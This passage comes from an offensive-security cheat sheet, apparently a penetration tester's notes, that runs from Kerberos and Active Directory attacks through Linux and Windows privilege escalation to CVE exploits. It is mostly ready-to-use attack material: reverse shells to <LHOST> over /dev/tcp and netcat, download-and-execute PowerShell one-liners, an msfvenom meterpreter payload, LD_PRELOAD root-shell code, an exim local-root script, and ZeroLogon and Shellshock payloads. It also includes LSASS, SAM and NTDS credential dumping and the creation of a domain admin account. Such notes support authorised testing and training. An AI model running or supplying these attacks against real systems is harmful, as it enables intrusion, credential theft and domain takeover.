$ python3 dacledit.py <DOMAIN>/<USERNAME>:<PASSWORD> -k -target-dn 'DC=<DOMAIN>,DC=.
```

### Fixing msada\_guids Error

```
#from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
```

Then put the `msada_guids.py` into the same directory as `dacledit.py`

<https://tinyurl.com/yndvp5p7>

### owneredit.py

<https://tinyurl.com/243wq45x/blob/5c477e71a60e3cc434ebc0fcc374d6d108f58f41/examples/owneredit.py>

```
$ python3 owneredit.py -k '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <RHOST> -action w
```

### JAWS

```
IEX(New-Object Net.webclient).downloadString('http://<LHOST>:<LPORT>/jaws-enum.ps1')
```

### Kerberos

<https://tinyurl.com/yo26y9g7>

#### General Notes

- Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).
- Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).
- Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).

#### Bruteforce

```
./kerbrute -domain <DOMAIN> -users <FILE> -passwords <FILE> -outputfile <FILE>
```

#### With List of Users

```
.\Rubeus.exe brute /users:<FILE> /passwords:<FILE> /domain:<DOMAIN> /outfile:<FILE>
```

#### Check Passwords for all Users in Domain

```
.\Rubeus.exe brute /passwords:<FILE> /outfile:<FILE>
```

## ASPREPROast

### Check ASPREPROast for all Domain Users (Credentials required)

```
impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format hashcat -output:
impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format john -outputfile
```

### Check ASPREPROast for a List of Users (No Credentials required)

```
impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format hashcat -outputfile <FILE>
impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format john -outputfile <FILE>
```

### Check ASPREPROast for all Domain Users in Domain

```
.\Rubeus.exe asreproast /format:hashcat /outfile:<FILE>
```

## Kerberoasting

```
impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -outputfile <FILE>
.\Rubeus.exe kerberoast /outfile:<FILE>
iex (new-object Net.WebClient).DownloadString("https://tinyurl.com/y7fzjrf6")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII
Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File -Encoding ASCII <FI
```

## Overpass The Hash/Pass The Key (PTK)

### Request TGT with Hash

```
impacket-getTGT <DOMAIN>/<USERNAME> -hashes <LMHASH>:<NTLMHASH>
```

### Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default)

```
impacket-getTGT <DOMAIN>/<USERNAME> -aesKey <KEY>
```

## Request TGT with Password

```
impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>
```

## Set TGT for Impacket Usage

```
export KRB5CCNAME=<USERNAME>.ccache
```

## Execute Remote Commands

```
impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass  
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass  
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

## Ask and inject the Ticket

```
.\Rubeus.exe asktgt /domain:<DOMAIN> /user:<USERNAME> /rc4:<NTLMHASH> /ptt
```

## Execute a CMD on Remote Host

```
.\PsExec.exe -accepteula \\<RHOST> cmd
```

## Pass The Ticket (PTT)

### Harvest Tickets from Linux

### Check Type and Location of Tickets

```
grep default_ccache_name /etc/krb5.conf
```

- If none return, default is FILE:/tmp/krb5cc\_%{uid}
- In Case of File Tickets it is possible to Copy-Paste them to use them
- In Case of being KEYRING Tickets, the Tool tickey can be used to get them
- To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes
- To inject, the Ticket have to be copied in a reachable Folder by all Users

```
cp tickey /tmp/tickey  
/tmp/tickey -i
```

## Harvest Tickets from Windows

```
sekurlsa::tickets /export  
.\Rubeus dump
```

## Convert Tickets dumped with Rubeus into base64

```
[IO.File]::WriteAllBytes("<TICKET>.kirbi", [Convert]::FromBase64String("<TICKET>"))
```

## Convert Tickets between Linux and Windows Format with ticket\_converter.py

<https://tinyurl.com/ys5lg49e>

```
python ticket_converter.py ticket.kirbi ticket.ccache  
python ticket_converter.py ticket.ccache ticket.kirbi
```

## Using Ticket on Linux

```
export KRB5CCNAME=<USERNAME>.ccache
```

## Execute Remote Commands by using TGT

```
impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass  
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass  
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

## Using Ticket on Windows

### Inject Ticket with mimikatz

```
kerberos::ptt <KIRBI_FILE>
```

### Inject Ticket with Rubeus



```
.\Rubeus.exe ptt /ticket:<KIRBI_FILE>
```

### Execute a CMD on Remote Host

```
.\PsExec.exe -accepteula \\<RHOST> cmd
```

## Silver Ticket

### Impacket Examples

#### Generate TGS with NTLM

```
python ticketer.py -nthash <NTLMHASH> -domain-sid <SID> -domain <DOMAIN> -spn <SPN>
```

#### Generate TGS with aesKey

```
python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> -spn <SPN> <USI
```

#### Set the ticket for impacket use

```
export KRB5CCNAME=<USERNAME>.ccache
```

#### Execute Remote Commands by using TGT

```
impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass  
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass  
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

## mimikatz Examples

#### Generate TGS with NTLM

```
kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<NTLMHASH> /user:<USERNAME> /servi
```

#### Generate TGS with AES 128bit Key

```
kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME> /service
```

Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

```
kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME> /service
```

Inject TGS with Mimikatz

```
kerberos::ptt <KIRBI_FILE>
```

Rubeus Examples

```
.\Rubeus.exe ptt /ticket:<KIRBI_FILE>
```

Execute CMD on Remote Host

```
.\PsExec.exe -accepteula \\<RHOST> cmd
```

Golden Ticket

Impacket Examples

Generate TGT with NTLM

```
python ticketer.py -nthash <KRBTGT_NTLM_HASH> -domain-sid <SID> -domain <DOMAIN> <I
```

Generate TGT with aesKey

```
python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> <USERNAME>
```

Set TGT for Impacket Usage

```
export KRB5CCNAME=<USERNAME>.ccache
```

## Execute Remote Commands by using TGT

```
impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass  
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass  
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

## mimikatz Examples

### Generate TGT with NTLM

```
kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<KRBTGT_NTLM_HASH> /user:<USERNAME>
```

### Generate TGT with AES 128bit Key

```
kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME>
```

### Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

```
kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME>
```

### Inject TGT with Mimikatz

```
kerberos::ptt <KIRBI_FILE>
```

## Rubeus Examples

### Inject Ticket with Rubeus

```
.\Rubeus.exe ptt /ticket:<KIRBI_FILE>
```

### Execute CMD on Remote Host

```
.\PsExec.exe -accepteula \\<RHOST> cmd
```

### Get NTLM from Password

```
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<PAS'
```

## Ldapsearch

```
ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local"
ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local" | grep descr -/
ldapsearch -x -h <RHOST> -s base namingcontexts
ldapsearch -x -h <RHOST> -b "dc=<RHOST>,dc=local" "*" | awk '/dn: / {print $2}'
ldapsearch -x -h <RHOST> -D "<USERNAME>" -b "dc=<DOMAIN>,dc=local" "(ms-MCS-AdmPwd=)
ldapsearch -H ldap://<RHOST> -D <USERNAME> -w "<PASSWORD>" -b "CN=Users,DC=<RHOST>,I
```

## Linux

### Basic Linux Enumeration

```
id
sudo -l
uname -a
cat /etc/hosts
cat /etc/fstab
cat /etc/passwd
ss -tulpn
ps -auxf
ls -lahv
ls -R /home
ls -la /opt
```

### find Commands

```
find / -user <USERNAME> -ls 2>/dev/null
find / -user <USERNAME> -ls 2>/dev/null | grep -v proc 2>/dev/null
find / -group <GROUP> 2>/dev/null
find / -perm -4000 2>/dev/null | xargs ls -la
find / -type f -user root -perm -4000 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
find / -cmin -60 // find files changed within the last 60 minutes
find / -amin -60 // find files accesses within the last 60 minutes
find ./ -type f -exec grep --color=always -i -I 'password' {} \; // search for p:
```

### grep for Passwords

```
grep -R db_passwd
grep -roiE "password.{20}"
grep -oiE "password.{20}" /etc/*.conf
grep -v "^[#;]" /PATH/TO/FILE | grep -v "^$" // grep for passwords like "DBPassw
```

## Apache2

### Read first Line of a File with apache2 Binary

```
sudo /usr/sbin/apache2 -f <FILE>
```

## APT

```
echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|'
```

## aria2c

```
aria2c -d /root/.ssh/ -o authorized_keys "http://<LHOST>/authorized_keys" --allow-o
```

## Bash Debugging Mode

- Bash <4.4

```
env -i SHELLOPTS=xtrace PS4='$$(chmod +s /bin/bash)' /usr/local/bin/<BINARY>
```

## Bash Functions

- Bash <4.2-048

```
function /usr/sbin/<BINARY> { /bin/bash -p; }
export -f /usr/sbin/<BINARY>
/usr/sbin/<BINARY>
```

## LD\_PRELOAD

[https://tinyurl.com/yn8wokj3linux-privilege-escalation-using-ld\\_preload/](https://tinyurl.com/yn8wokj3linux-privilege-escalation-using-ld_preload/)

## shell.c

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
```

or

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}
```

## Compiling

```
gcc -o <SHARED_OBJECT>.so <FILE>.c -shared -FPIC -nostartfiles
```

## Privilege Escalation

```
sudo LD_PRELOAD=/PATH/TO/SHARED_OBJECT/<SHARED_OBJECT>.so <BINARY>
```

## LD\_LIBRARY\_PATH

### Get Information about Libraries

```
ldd /PATH/TO/BINARY/<BINARY>
```

## shell.c

```
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
```

## Compiling

```
gcc -o <LIBRARY>.so.<NUMBER> -shared -fPIC <FILE>.c
```

## Privilege Escalation

```
sudo LD_LIBRARY_PATH=/PATH/TO/LIBRARY/<LIBRARY>.so.<NUMBER> <BINARY>
```

## logrotten

<https://tinyurl.com/yu7cnz6y>

```
if [ `id -u` -eq 0 ]; then ( /bin/sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 ); fi
```

### If "create"-option is set in logrotate.cfg

```
./logrotten -p ./payloadfile /tmp/log/pwnme.log
```

### If "compress"-option is set in logrotate.cfg

```
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
```

## Path Variable Hijacking

```
find / -perm -u=s -type f 2>/dev/null
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
```

```
export PATH=$(pwd):$PATH
```

## PHP7.2

```
/usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"
```

## relayd

The binary need to have the SUID bit set.

```
/usr/sbin/relayd -C /etc/shadow
```

## Shared Library Misconfiguration

<https://tinyurl.com/yw33t2xs>

## shell.c

```
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}
```

## Compiling

```
gcc -shared -fPIC -nostartfiles -o <FILE>.so <FILE>.c
```

## Wildcards

<https://tinyurl.com/y84bhdcz>

With the command `touch -- --checkpoint=1` will be a file created. Why? Because the `--` behind the command `touch` is telling `touch`, that there's option to be wait for. Instead of an option, it creates a file, named `--checkpoint=1` .



```
touch -- --checkpoint=1
```

or

```
touch ./--checkpoint=1
```

So after creating the `--checkpoint=1` file, i created another file, which executes a shell script.

```
touch -- '--checkpoint-action=exec=sh shell.sh'
```

or

```
touch ./--checkpoint-action=exec=<FILE>
```

To delete a misconfigured file, put a `./` in front of it.

```
rm ./'--checkpoint-action=exec=python script.sh'
```

## Writeable Directories in Linux

```
/dev/shm  
/tmp
```

## Microsoft Windows

### Basic Windows Enumeration

```
systeminfo  
whoami /all  
net users  
net users <USERNAME>  
tasklist /SVC  
sc query  
sc qc <SERVICE>  
netsh firewall show state  
schtasks /query /fo LIST /v  
findstr /si password *.xml *.ini *.txt
```

```
dir /s *pass* == *cred* == *vnc* == *.config*
accesschk.exe -uws "Everyone" "C:\Program Files\"
wmic qfe get Caption,Description,HotFixID,InstalledOn
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start
```

## AppLocker Bypass List

Bypass List (Windows 10 Build 1803):

```
C:\Windows\Tasks
C:\Windows\Temp
C:\Windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after performing a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

## accesschk

### Checking File Permissions

```
.\accesschk.exe /accepteula -quvw "C:\PATH\TO\FILE\<FILE>.exe"
```

### Checking Service Permissions

```
.\accesschk.exe /accepteula -uwcqv <USERNAME> daclsvc
```

### Checking Path Permissions to find Unquoted Service Paths

```
.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\<UNQUOTED_SERVICE_PATH>"
```

## Checking Registry Entries

```
.\accesschk.exe /accepteula -uvwqk <REGISTRY_KEY>
```

## Adding Users to Groups

```
net user <USERNAME> <PASSWORD> /add /domain
net group "Exchange Windows Permissions" /add <USERNAME>
net localgroup "Remote Management Users" /add <USERNAME>
```

## Enable Remote Desktop (RDP)

```
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
netsh advfirewall firewall set rule group="remote desktop" new enable=yes
```

or

```
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStation:Remote Desktop' -Name "UserAuthentication" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop";
```

## Privileges and Permissions

### AlwaysInstallElevated

```
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

```
msfvenom -p windows/meterpreter/reverse_tcp lhost=<LHOST> lport=<LPORT> -f msi > <FILE>.msi
```

```
msiexec /quiet /qn /i <FILE>.msi
```

## SeBackup and SeRestore Privilege

## Backup SAM and SYSTEM Hashes

```
reg save hklm\system C:\Users\<>USERNAME>\system.hive  
reg save hklm\sam C:\Users\<>USERNAME>\sam.hive
```

## Dumping Hashes

```
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
```

## SeBackupPrivilege Privilege Escalation (diskshadow)

<https://tinyurl.com/ysf2nrv3>

## Script for PowerShell Environment

```
SET CONTEXT PERSISTENT NOWRITERSp  
add volume c: alias foobarp  
createp  
expose %foobar% z:p
```

```
diskshadow /s <FILE>.txt
```

## Copy ntds.dit

```
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
```

## Export System Registry Value

```
reg save HKLM\SYSTEM c:\temp\system
```

## Extract the Hashes

```
impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
```

## Alternative Way via Robocopy

```
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
```

```
set metadata C:\Windows\temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
```

```
diskshadow /s script.txt
robocopy /b E:\Windows\ntds . ntds.dit
```

```
impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
```

### SeTakeOwnership Privilege

```
takeown /f C:\Windows\System32\Utilman.exe
```

```
icacls C:\Windows\System32\Utilman.exe /grant Everyone:F
```

```
C:\Windows\System32\> copy cmd.exe utilman.exe
```

Click the Ease of Access button on the logon screen to get a shell with NT Authority\System privileges.

### SeImpersonate and SeAssignPrimaryToken Privilege

<https://tinyurl.com/yndomonw>

```
.\RogueWinRM.exe -p "C:\> .\nc64.exe" -a "-e cmd.exe <LHOST> <LPORT>"
```

### Registry Handling

## Enable Colored Output

```
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
```

Then open a new Terminal Window.

## Check for Auto Run Programs

```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

## Get Registry Key Information

```
reg query <REGISTRY_KEY>
```

## Modify Registry Key

```
reg add <REGISTRY_KEY> /v <VALUE_TO_MODIFY> /t REG_EXPAND_SZ /d C:\PATH\TO\FILE\<FILE>
```

## Searching for Credentials

### Quick Wins

<https://tinyurl.com/yvx3hjn4>

<https://tinyurl.com/yyjesfza>

```
cmdkey /list  
rundll32 keymgr.dll, KRShowKeyMgr  
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr co  
reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s
```

## Search for Passwords

```
dir .s *pass* == *.config  
findstr /si password *.xml *.ini *.txt
```

## PowerShell History

```
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleH
```

## Saved Windows Credentials

```
cmdkey /list  
runas /savecred /user:<USERNAME> cmd.exe
```

## Search the Registry for Passwords

```
reg query HKLM /f password /t REG_SZ /s  
reg query HKCU /f password /t REG_SZ /s
```

## Dumping Credentials

```
reg save hklm\system system  
reg save hklm\sam sam  
reg.exe save hklm\sam c:\temp\sam.save  
reg.exe save hklm\security c:\temp\security.save  
reg.exe save hklm\system c:\temp\system.save
```

## Internet Information Service (IIS)

```
C:\Windows\System32\inetsrv>appcmd.exe list apppool /@:*  
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr co
```

## PuTTY

```
reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s
```

## Lsass

```
tasklist  
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 688 C:\Users\Administrator\D
```

## Unattended Windows Installations

```
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

## Insecure Service Permissions

```
accesschk64.exe -qlc <SERVICE>
icacls C:\Users\<USERNAME>\<FILE>.exe /grant Everyone:F
sc config <SERVICE> binPath= "C:\Users\<USERNAME>\<FILE>.exe" obj= LocalSystem
sc stop <SERVICE>
sc start <SERVICE>
```

## Service Handling

```
sc create <SERVICE_NAME>
sc start <SERVICE_NAME>
sc qc <SERVICE_NAME>
```

## Scheduled Tasks

```
schtasks
schtasks /query /tn <TASK> /fo list /v
schtasks /run /tn <TASK>
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPa
```

## Unquoted Service Paths

Search for Unquoted Service Paths by using `sc qc .`

```
sc qc
sc qc <SERVICE>
sc stop <SERVICE>
sc start <SERVICE>
```

```
icacls <PROGRAM>.exe
icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe
icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe /grant Everyone:F
```



## writeDACL

<https://tinyurl.com/2dba6w6s>

```
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>',
Add-ObjectACL -PrincipalIdentity <USERNAME> -Credential $Cred -Rights DCSync
```

## WMIC

```
wmic product get name,version,vendor
wmic qfe get Caption,Description,HotFixID,InstalledOn # no new patches - KEXP pr
```

## PassTheCert

<https://tinyurl.com/y2gcywm9>

<https://tinyurl.com/ykrl29b7/tree/main/Python>

```
certipy-ad cert -pfx <CERTIFICATE>.pfx -nokey -out <CERTIFICATE>.cert
certipy-ad cert -pfx <CERTIFICATE>.pfx -nocert -out <CERTIFICATE>.key
python3 passthecert.py -domain '<DOMAIN>' -dc-host '<DOMAIN>' -action 'modify_user'
evil-winrm -i '<RHOST>' -u '<USERNAME>' -p '<PASSWORD>'
```

## PKINITtools

```
python3 gettgtkinit.py -cert-pfx <USERNAME>.pfx -dc-ip <RHOST> <DOMAIN>/<USERNAME>
export KRB5CCNAME=<USERNAME>.ccache
python3 getnthash.py <DOMAIN>/<USERNAME> -key 6617cde50b7ee63faeb6790e84981c746efa6f
```

## Port Scanning

```
export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port";
```

## powercat

```
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/)
```

## Powermad

```
Import-Module ./Powermad.ps1
$secureString = convertto-securestring "<PASSWORD>" -asplaintext -force
New-MachineAccount -MachineAccount <NAME> -Domain <DOMAIN> -DomainController <DOMAI
```

## PowerShell

### Common Commands

```
whoami /all
getuserid
systeminfo
Get-Process
net users
net users <USERNAME>
Get-ADUser -Filter * -SearchBase "DC=<DOMAIN>,DC=LOCAL"
Get-Content <FILE>
Get-ChildItem . -Force
GCI -hidden
type <FILE> | findstr /l <STRING>
[convert]::ToBase64String((Get-Content -path "<FILE>" -Encoding byte))
```

### Allow Script Execution

```
Set-ExecutionPolicy remotesigned
Set-ExecutionPolicy unrestricted
```

### Script Execution Bypass

```
powershell.exe -noprofile -executionpolicy bypass -file .\<FILE>.ps1
```

### Import Module to PowerShell cmdlet

```
Import-Module .\<FILE>
```

## Check PowerShell Versions

```
Set-ExecutionPolicy Unrestricted  
powershell -Command "$PSVersionTable.PSVersion"  
powershell -c "[Environment]::Is64BitProcess"
```

## Read PowerShell History

```
type C:\Users\<<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\Co
```

## Create a .zip File

```
Compress-Archive -LiteralPath C:\PATH\TO\FOLDER\<<FOLDER> -DestinationPath C:\PATH\TO
```

## Unzip a File

```
Expand-Archive -Force <FILE>.zip
```

## Start a new Process

```
Start-Process -FilePath "C:\nc64.exe" -ArgumentList "<LHOST> <LPORT> -e powershell"
```

## Invoke-Expression / Invoke-WebRequest

```
IEX(IWR http://<LHOST>/<FILE>.ps1)  
Invoke-Expression (Invoke-WebRequest http://<LHOST>/<FILE>.ps1)
```

## .NET Reflection

```
$bytes = (Invoke-WebRequest "http://<LHOST>/<FILE>.exe" -UseBasicParsing ).Content  
$assembly = [System.Reflection.Assembly]::Load($bytes)  
$entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').( ($entryPointMethod.Invoke($null, (, [string[]] ('find', '/<COMMAND>'))))
```

## Start offsec Session

```
$offsec_session = New-PSSession -ComputerName <RHOST> -Authentication Negotiate -Credential $cred
Enter-PSSession $offsec_session
```

### Execute Command as another User

```
$SecurePassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $SecurePassword)
$Session = New-PSSession -Credential $Cred
Invoke-Command -Session $session -scriptblock { whoami }
```

or

```
$username = '<USERNAME>'
$password = '<PASSWORD>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process powershell.exe -Credential $credential
```

```
powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() |
```

### Add new Domain Administrator

```
$PASSWORD= ConvertTo-SecureString -AsPlainText -Force -String <PASSWORD>
New-ADUser -Name "<USERNAME>" -Description "<DESCRIPTION>" -Enabled $true -AccountPassword $PASSWORD
Add-ADGroupMember -Identity "Domain Admins" -Member <USERNAME>
```

### Execute Commands in User Context

```
$pass = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $pass)
Invoke-Command -computername <COMPUTERNAME> -ConfigurationName dc_manage -credential $cred
```

### Execute Scripts with Credentials (Reverse Shell)

```
$pass = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $pass)
Invoke-Command -Computer <RHOST> -ScriptBlock { IEX(New-Object Net.WebClient).download "<URL>"
```

## pwncat

```
(local) pwncat$ back // get back to shell  
Ctrl+d // get back to pwncat shell
```

```
pwncat-cs -lp <LPORT>
```

```
(local) pwncat$ download /PATH/T0/FILE/<FILE> .
```

```
(local) pwncat$ upload /PATH/T0/FILE/<FILE> /PATH/T0/FILE/<FILE>
```

## rpcclient

```
rpcclient -U "" <RHOST>
```

```
dsr_getdcname  
dsr_getdcnameex  
dsr_getdcnameex2  
dsr_getsitename  
enumdata  
enumdomgroups  
enumdomusers  
enumjobs  
enumports  
enumprivs  
getanydcname  
getdcname  
lookupsids  
lsaenumsid <SID>  
lsaquery  
netconnenum  
netdiskenum  
netfileenum  
netsessenum  
netshareenum  
netshareenumall  
netsharegetinfo  
queryuser <USERNAME>  
srvinfo
```

## Rubeus

### Overpass the Hash

```
.\Rubeus.exe kerberoast /user:<USERNAME>
```

## Pass the Hash

```
.\Rubeus.exe asktgt /user:Administrator /certificate:7F052EB0D5D122CEF162FAE8233D6A
```

## RunasCs

```
./RunasCs.exe -l 3 -d <DOMAIN> "<USERNAME>" '<PASSWORD>' 'C:\Users\<USERNAME>\Downl
./RunasCs.exe -d <DOMAIN> "<USERNAME>" '<PASSWORD>' cmd.exe -r <LHOST>:<LPORT>
```

## smbpasswd

```
smbpasswd -U <RHOST>\<USERNAME> -r <RHOST>
```

## winexe

```
winexe -U '<USERNAME%PASSWORD>' //<RHOST> cmd.exe
winexe -U '<USERNAME%PASSWORD>' --system //<RHOST> cmd.exe
```

## CVE

### CVE-2014-6271: Shellshock RCE PoC

```
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' http://<R
```

### CVE-2016-1531: exim LPE

- exim version <= 4.84-3

```
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# =====
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
```

```
# exim with the "perl_startup" argument -ps.
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
#
# -- Hacker Fantastic
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
```

## CVE-2019-14287: Sudo Bypass

<https://tinyurl.com/zscyuuc/exploits/47502>

### Prerequisites

- Sudo version < 1.8.28

### Exploitation

```
!root:
sudo -u#-1 /bin/bash
```

## CVE-2020-1472: ZeroLogon PE

<https://tinyurl.com/y2h27qku>

<https://tinyurl.com/ykpxsdzp>

### Prerequisites

```
python3 -m pip install virtualenv
python3 -m virtualenv venv
source venv/bin/activate
```

```
pip install git+https://tinyurl.com/yysqx7w7
```

## PoC Modification

```
newPassRequest = nrpc.NetrServerPasswordSet2()
newPassRequest['PrimaryName'] = dc_handle + '\x00'
newPassRequest['AccountName'] = target_computer + '$\x00'
newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerS
auth = nrpc.NETLOGON_AUTHENTICATOR()
auth['Credential'] = b'\x00' * 8
auth['Timestamp'] = 0
newPassRequest['Authenticator'] = auth
newPassRequest['ComputerName'] = target_computer + '\x00'
newPassRequest['ClearNewPassword'] = b'\x00' * 516
rpc_con.request(newPassRequest)
```

## Weaponized PoC

```
#!/usr/bin/env python3

from impacket.dcerpc.v5 import nrpc, epm
